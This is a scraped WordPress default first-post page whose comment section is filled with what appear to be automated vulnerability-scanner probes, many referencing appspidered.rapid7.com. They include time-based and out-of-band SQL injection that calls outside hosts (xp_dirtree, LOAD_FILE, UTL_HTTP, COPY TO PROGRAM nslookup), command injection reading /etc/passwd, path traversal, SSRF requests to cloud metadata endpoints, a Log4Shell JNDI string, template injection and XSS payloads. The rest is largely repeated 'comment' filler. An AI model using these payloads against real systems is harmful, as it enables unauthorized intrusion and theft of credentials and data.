Welcome to WordPress. This is your first post. Edit or delete it, then start writing!
1,191 Responses
Howzit, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from Gravatar.
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(15160,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1050,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(79,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(5,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(0,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(16011,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(944,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(60,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(3,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(0,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select*from(select(sleep(00)))a) —
comment’ and 1 in (select*from(select(sleep(05)))a) —
Howzit, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from Gravatar.
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(15160,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1050,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(79,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(5,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(0,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(16011,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(944,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(60,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(3,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(0,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select*from(select(sleep(00)))a) —
comment’ and 1 in (select*from(select(sleep(05)))a) —
‘ (select*from(select(sleep(00)))a) ‘
‘ (select*from(select(sleep(05)))a) ‘
comment’);WAITFOR DELAY ’00:00:00′–
comment’);WAITFOR DELAY ’00:00:05′–
comment’ OR 1=0 ##
comment AND pg_sleep(00) is not null
comment AND pg_sleep(05) is not null
comment ‘;select pg_sleep(00);– –
comment ‘;select pg_sleep(05);– –
comment ;select pg_sleep(00);– –
comment ;select pg_sleep(05);– –
http://appspidered.rapid7.com/xss/script/234a7f1f8b50a6417a419feb48fc8c52dde6ff12
http://appspidered.rapid7.com/xss/script/24dc68ff64b2b640ec27ebe441cf51053ae869d2
http://appspidered.rapid7.com/xss/script/11a71d998c8f5ec0b9b28e5ca83ec940b7150ba4
http://appspidered.rapid7.com/xss/script/6422854eef0d4c49406c8314edbb2836f961626b
https://appspidered.rapid7.com/xss/script/2478b91ae3275805f723251db0604c48d3f69c2f
https://appspidered.rapid7.com/xss/script/0980c6ea0d8f1fe0eb57a13181daa3ea8a6fb24c
https://appspidered.rapid7.com/xss/script/f95a4a60a8162790cc7d32ad4f9be046751428e5
https://appspidered.rapid7.com/xss/script/18855319b5234e5223ce4c9eabadf00d54b0ec8a
http://appspidered.rapid7.com/xss/script/35c46a4b6d266328cfd0d98a2320dec601dfc46b
http://appspidered.rapid7.com/xss/script/2b2a01e93c60567dfbd8dfa68f38cda93a75e23e
http://appspidered.rapid7.com/xss/script/29ad3ecdbe93e57fdd132e08ec9011d66dc823ea
http://appspidered.rapid7.com/xss/script/6f4e90e7df0b0e4b84999aa99e71f67d60fe832d
https://appspidered.rapid7.com/xss/script/f6f420ee8ad4c41e514d5fd409563379a1d4a50a
https://appspidered.rapid7.com/xss/script/73d755983157a238dde5608932778a86f012d3b0
https://appspidered.rapid7.com/xss/script/3aab0178e076a4edd6d0f1185637cdf6160445fa
https://appspidered.rapid7.com/xss/script/8111d6a445ea34fdd400d7d71261ff712d56a4eb
appspidered.rapid7.com/xss/script/d9707cc2e614ef502d68c2bfad7f3a06e84a93d7
appspidered.rapid7.com/xss/script/0c07d088e4cf9ff5ea5d59dbe5487922d5e37005
appspidered.rapid7.com/xss/script/be4f6aa7d5f0c1bee2e63660109d07cbaddee78e
appspidered.rapid7.com/xss/script/9212b22f66b9ed42af9338024631557430708b6e
comment$0
comment;/etc/passwd
comment|/bin/cat /etc/passwd
comment|/bin/cat /etc/passwd|
comment;/etc/hosts
comment|/bin/cat /etc/hosts
comment|/bin/cat /etc/hosts|
comment;/usr/bin/id
comment|/bin/cat /usr/bin/id
comment|/bin/cat /usr/bin/id|
type c:\boot.ini
comment&dir
comment&ipconfig
echo foobar x7blfnox
comment&& echo foobar x7cdi0nj
comment| echo foobar x7c08108
comment| echo foobar x7dk78vf|
comment< echo foobar x7eg2geq
netstat -na
comment&&netstat -na
comment|netstat -na
comment|netstat -na|
comment;netstat ;
comment<netstat -na
ping -h
comment&&ping -h
comment|ping -h
comment|ping -h|
comment<ping -h
$LANG
comment&&$LANG
comment|$LANG
comment|$LANG|
comment<$LANG
; free
;ping localhost -c 21;
;TIMEOUT /T 10 /NOBREAK;
‘comment
comment’
comment”
comment%’
comment%u0027
comment%27
comment%”
comment%u0022
comment%22
< /etc/passwd
a
b
1e309
char(0x27)char(0x27)comment
%u2018comment
%u2019comment
%u201acomment
%u201bcomment
%u201ccomment
%u201dcomment
%u201ecomment
— comment
/*comment
commentʼ
{comment
{‘comment
{“comment
comment{
comment’}
comment”}
comment}
comment/
comment/’
comment/”
/’comment
comment”}, {x7eb33lk:{$meta: “textScore
comment’}, {x7e0gl0q:{$meta: ‘textScore
comment”}}, {x7fk19x5:{$meta: “textScore
comment’}, {x7gh5fnc:{$meta: ‘textScore
http://appspidered.rapid7.com/
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/metadata/instance/compute?api-version=2019-08-15
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0?api-version=2019-08-15
http://169.254.169.254/metadata/instance/network/interface/0?api-version=2019-08-15
${jndi:ldap://dcaf195b7ed8ae968d01f90ddcfcf35c716ecacb.oob.appspidered.rapid7.${lower:COM}}
comment” && sleep(00) && “1”!=”1
comment” && sleep(10000) && “1”!=”1
comment” && “1”==”0
comment” && “1”==”1
comment’ && ‘1’==’0
comment’ && ‘1’==’1
{{ 58719 * 21973 }}
{{ 62951705 + 74179523 }}
x7wnzt4v
x7w7y0y4
x7xskoww: x7xskoww
wp-comments-post.php
/etc/passwd
\WINDOWS\system32\drivers\etc\hosts
C:\WINDOWS\system32\drivers\etc\hosts
..\..\..\..\..\..\WINDOWS\system32\drivers\etc\hosts
..\..\..\..\..\..\WINDOWS\system32\drivers\etc\hosts.htm
/wp-comments-post.php
../../../../../../../../../../etc/hosts
< /etc/passwd
/.
\.
c:\.
appspidered.rapid7.com/
wp-comments-post.php.
../wp-comments-post.php.
../../wp-comments-post.php.
c:\boot.ini.
c:\boot.ini
d:\boot.ini
../../../../../../boot.ini.
../../../../../../boot.ini
noexistnoexist.
../../../../../../../../../../etc/hosts.
/..
\..
c:\..
/../../../../../../../../../../..
file:/etc/passwd
file:/wp-comments-post.php
/WEB-INF/web.xml
WEB-INF/web.xml
file:WEB-INF/web.xml
/../../WEB-INF/web.xml
\WEB-INF\web.xml
/../../../../../../../../../../.
noexistnoexist
http://localhost/
http://localhost:22/
package.json.bak
package.json.bak%00
../wp-config.php
http://appspidered.rapid7.com/rfi/x7pc7gay
/../../../../../../../../../../vendor.js
../../../../../
..\..\..\..\..\
x7situh9<x7situh9
x7s3figa’x7s3figa
x7txeape”x7txeape
x7uhzynk>x7uhzynk
x7u3ukrp
‘.phpinfo().’
LIMIT a
comment’ UNION ALL select NULL —
comment” UNION ALL select NULL —
SELECT * FROM “master”
SELECC * FROM “ds”
comment’;+exec+master..xp_dirtree+”//d321c494766ba7264dcbac8684952324c9919ce0.oob.appspidered.rapid7.com/a”–
comment’;+SELECT+*+FROM+OPENROWSET(‘SQLOLEDB’,+’b286e3ab234cb2fb4afad4d14467b1abe3cdd778.oob.appspidered.rapid7.com’;’sa’;’pwd’,+’SELECT+1′)–
comment’;+SELECT+LOAD_FILE(‘\\\\4797874ae2a257f9e4c7b2a244ae0f604be98f50.oob.appspidered.rapid7.com\\a’)#
comment’;+SELECT+’hello’+INTO+DUMPFILE+’\\\\004e9af3711787bea3139066690377556618dad1.oob.appspidered.rapid7.com\\a’#
comment’;+copy+(SELECT+”)+to+program+’nslookup+a3db8d21d603c0e3a954ee922a4e82c533389fc8.oob.appspidered.rapid7.com’–
comment’+ORDER+BY+(CASE+WHEN+(1=0)+THEN+NULL+ELSE+UTL_HTTP.REQUEST(‘http://8d108b9f3a85b3d94b7fd9e5353783b1058c4272.oob.appspidered.rapid7.com/’)+END)–
*
|
comment|
&
comment&
comment)
!comment
${applicationScope}
${requestScope}
${“asdflkj”.toString().replace(“d”,”x”)}
#{“asdflkj”.toString().replace(“d”,”x”)}
=alert(3824830)
=alert(3955991)
=alert(4115863)
=alert(4267542)
‘alert(4398702)
‘alert(4562661)
‘alert(4693860)
‘alert(4833246)
abc
abc
abc
abc
abc
comment”>
comment”>
comment”>
abc
abc
abc
@import’x7vjhwkn’;
@import’x7v33khn’;
@import’x7wmts5p’;
@import’x7w7fg21′;
ADw-script AD4-alert(8411899) ADw-/script AD4-
ADw-script AD4-alert(8551262) ADw-/script AD4-
+ADw-script+AD4-alert(8719351)+ADw-/script+AD4-
+ADw-script+AD4-alert(8858700)+ADw-/script+AD4-
abc
abc
abc
comment’>
comment’>
comment’>
alert`10260664`
alert`10416479`
alert`10564072`
alert`10715715`
prompt`10850976`
prompt`10982141`
prompt`11137915`
prompt`11273178`
top[‘al’ ‘ert’](11461686)
top[‘al’ ‘ert’](11609254)
top[‘al’+’ert’](11760935)
top[‘al’+’ert’](11900305)
aler\u0074(12035608);
aler\u0074(12211858);
aler\u0074(12359600);
aler\u0074(12531956);
MOUSEOVER ME
MOUSEOVER ME
MOUSEOVER ME
c
c
c
\”http://example.com/ ‘ onmouseover=alert(13663414) ‘
\”http://example.com/ ‘ onmouseover=alert(13790479) ‘
\”http://example.com/ ‘ onmouseover=alert(13925771) ‘
\”http://example.com/ ‘ onmouseover=alert(14052966) ‘
alert(14217024)
alert(14344117)
alert(14479344)
alert(14639182)
“><img src=x onerror="alert(14901562)
“><img src=x onerror="alert(15102413)
“><img src=x onerror="alert(15299300)
“><img src=x onerror="alert(15492190)
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
commentx7pt9zet
x7qrzl34′”x7qrzl34
comment
comment
comment
comment
${applicationScope}
${requestScope}
${“asdflkj”.toString().replace(“d”,”x”)}
#{“asdflkj”.toString().replace(“d”,”x”)}
comment” && sleep(00) && “1”!=”1
comment” && sleep(10000) && “1”!=”1
comment” && “1”==”0
comment” && “1”==”1
comment’ && ‘1’==’0
comment’ && ‘1’==’1
http://appspidered.rapid7.com/
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/metadata/instance/compute?api-version=2019-08-15
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0?api-version=2019-08-15
http://169.254.169.254/metadata/instance/network/interface/0?api-version=2019-08-15
${jndi:ldap://90cda5a7a977716c6c7b8dffc0187253953d5ec1.oob.appspidered.rapid7.${lower:COM}}
http://appspidered.rapid7.com/xss/script/b7688030f6f126954513ba4f59d0d8b16ec48010
http://appspidered.rapid7.com/xss/script/6994aaa2cacd8e31baa5da304ce0903951f674c9
http://appspidered.rapid7.com/xss/script/8941ffe5257444afe9fa565acd4c086a901f2aa4
http://appspidered.rapid7.com/xss/script/1d3a9c1edbc323b411f9e99364fe220c751b277a
https://appspidered.rapid7.com/xss/script/7a7ec4c7d0b688e728b02841139cb2ae0b644437
https://appspidered.rapid7.com/xss/script/bde7581e96794f5a32a4768be0ccbd6d4ab2fe4d
https://appspidered.rapid7.com/xss/script/8ff7c526ece3f739680d69cd8702f0513cca7159
https://appspidered.rapid7.com/xss/script/2d8323036fca7151feea110679aaa1592b472c13
http://appspidered.rapid7.com/xss/script/f32e87e178ede8b625e565132cb6f017834dec16
http://appspidered.rapid7.com/xss/script/c2459a1edf6ce939e593c3866eb516df4f302747
http://appspidered.rapid7.com/xss/script/f11d9123e1bb6eca2782814c37c756d5d27df7fc
http://appspidered.rapid7.com/xss/script/6150eddc167b8a7ad75368efe8be822053d9bfc2
https://appspidered.rapid7.com/xss/script/b03fdef101a4d5e0ee40c2e11ef8f66fef9c29db
https://appspidered.rapid7.com/xss/script/04028dbcd1bfe8d2d14a5fed30c502412d6e88c6
https://appspidered.rapid7.com/xss/script/0266c8df575145c25111cb3aa6ee60bd607ddf12
https://appspidered.rapid7.com/xss/script/b7b1857bb627b76219dae08c70297e8c65e10388
appspidered.rapid7.com/xss/script/7b6b92b42ffcd52c234adac7dcdd63dff62db249
appspidered.rapid7.com/xss/script/9a785caa30532bbda23d303a8c614478f4289637
appspidered.rapid7.com/xss/script/97293656c77c182c268e6f5ac3a112916d40ae5e
appspidered.rapid7.com/xss/script/27ca9a8d4af2f0854dcc55fe707897f7bcc8b9c2
commentcommentcomment
655321
./*][
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
comment’;+exec+master..xp_dirtree+”//36724ced599d57e8cb6974f81d3f1e986e6f12cc.oob.appspidered.rapid7.com/a”–
comment’;+SELECT+*+FROM+OPENROWSET(‘SQLOLEDB’,+’9c53af009a8383b6496d06a3888cdc3b951d002c.oob.appspidered.rapid7.com’;’sa’;’pwd’,+’SELECT+1′)–
comment’;+SELECT+LOAD_FILE(‘\\\\66c7658238e5ac702b42aca3e52f4a34bdda8b20.oob.appspidered.rapid7.com\\a’)#
comment’;+SELECT+’hello’+INTO+DUMPFILE+’\\\\cadb12334dc12b5c8733b4f074177ed7d76017af.oob.appspidered.rapid7.com\\a’#
comment’;+copy+(SELECT+”)+to+program+’nslookup+026b918de2f90e7d949ee4a6eb5416cc4534d195.oob.appspidered.rapid7.com’–
comment’+ORDER+BY+(CASE+WHEN+(1=0)+THEN+NULL+ELSE+UTL_HTTP.REQUEST(‘http://77e07ac1349f422f4500a51ec38016c1e95b50ea.oob.appspidered.rapid7.com/’)+END)–
{{ 58719 * 21973 }}
{{ 62951705 + 74179523 }}
*
|
comment|
&
comment&
comment)
!comment
‘comment
comment’
comment”
comment%’
comment%u0027
comment%27
comment%”
comment%u0022
comment%22
LIMIT a
1e309
char(0x27)char(0x27)comment
%u2018comment
%u2019comment
%u201acomment
%u201bcomment
%u201ccomment
%u201dcomment
%u201ecomment
— comment
/*comment
commentʼ
comment’ UNION ALL select NULL —
comment” UNION ALL select NULL —
SELECT * FROM “master”
SELECC * FROM “ds”
http://www.example.com/
https://example.com/
ftp://example.com/
http://example.com/
gopher://example.com/
example.com/
.example.com/
https://example.com/comment
‘.phpinfo().’
comment’ AND ‘1’=’0
comment’ AND ‘1’=’1
comment” AND “1”=”0
comment” AND “1”=”1
comment’ AND 1=0/*
comment’ AND 1=1/*
comment’ AND 1=0)/*
comment’ AND 1=1)/*
comment’ AND 1=0–
comment’ AND 1=1–
comment’ AND 1=0)–
comment’ AND 1=1)–
comment’) AND (‘1’=’0
comment’) AND (‘1’=’1
comment”) AND (“1″”=”0
comment”) AND (“1″”=”1
comment’ AND 1=0 LIMIT 1–
comment’ AND 1=1 LIMIT 1–
REPEAT(0x636f6d6d656e74,2)
REPEAT(0x636f6d6d656e74,1)
comment OR 1=1
comment OR 1=0
comment’ OR ‘1’=’1
comment’ OR ‘1’=’0
comment” OR “1”=”1
comment” OR “1”=”0
comment’) OR (‘1’=’1
comment’) OR (‘1’=’0
comment”) OR (“1″=”1
comment”) OR (“1″=”0
comment’ OR 1=1 ##
comment’ OR 1=0 ##
comment’ OR 1=1 —
comment’ OR 1=0 —
comment’) AND ‘1’ in (‘0
comment’) AND ‘1’ in (‘1
comment”) AND “1” in (“0
comment”) AND “1” in (“1
comment’) OR ‘1’ in (‘0
comment’) OR ‘1’ in (‘1
comment”) OR “1” in (“0
comment”) OR “1” in (“1
comment DESC
comment ASC
1, comment DESC
1, comment ASC
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(17520,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1279,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(82,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(5,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(0,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(16538,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(1442,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(142,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(9,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(0,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select*from(select(sleep(00)))a) —
comment’ and 1 in (select*from(select(sleep(05)))a) —
‘ (select*from(select(sleep(00)))a) ‘
‘ (select*from(select(sleep(05)))a) ‘
comment’);WAITFOR DELAY ’00:00:00′–
comment’);WAITFOR DELAY ’00:00:05′–
comment AND pg_sleep(00) is not null
comment AND pg_sleep(05) is not null
comment ‘;select pg_sleep(00);– –
comment ‘;select pg_sleep(05);– –
comment ;select pg_sleep(00);– –
comment ;select pg_sleep(05);– –
comment
comment
=alert(135790)
=alert(434980)
=alert(586579)
=alert(758736)
‘alert(975929)
‘alert(1221833)
‘alert(1410438)
‘alert(1553857)
abc
abc
abc
abc
abc
comment”>
comment”>
comment”>
abc
abc
abc
@import’x75evcd4′;
@import’x7527uux’;
@import’x76o2gw4′;
@import’x77d1gg1′;
ADw-script AD4-alert(5418872) ADw-/script AD4-
ADw-script AD4-alert(5595166) ADw-/script AD4-
+ADw-script+AD4-alert(5775450)+ADw-/script+AD4-
+ADw-script+AD4-alert(5959906)+ADw-/script+AD4-
comment
comment
abc
abc
abc
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment’>
comment
comment
comment
comment
comment
comment
comment
comment
comment
alert`11723800`
alert`11785292`
comment
comment
alert`11973900`
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
aler\u0074(12330765);
MOUSEOVER ME
MOUSEOVER ME
comment
comment
comment
comment
comment
comment
comment
“><img src=x onerror="alert(13128072)
comment
“><img src=x onerror="alert(13308356)
alert(13472291)
alert(13632116)
alert(13792249)
alert(13936110)
comment
comment
comment
“>alert(14158112)
comment
‘>alert(14433235)
comment
comment
“>
comment
‘>
‘>
comment
comment
‘>
x7d56r2a’x7d56r2a
comment| echo foobar x7eexfak|
comment|$LANG
\.
\..
http://localhost:22/
..\..\..\..\..\
{comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
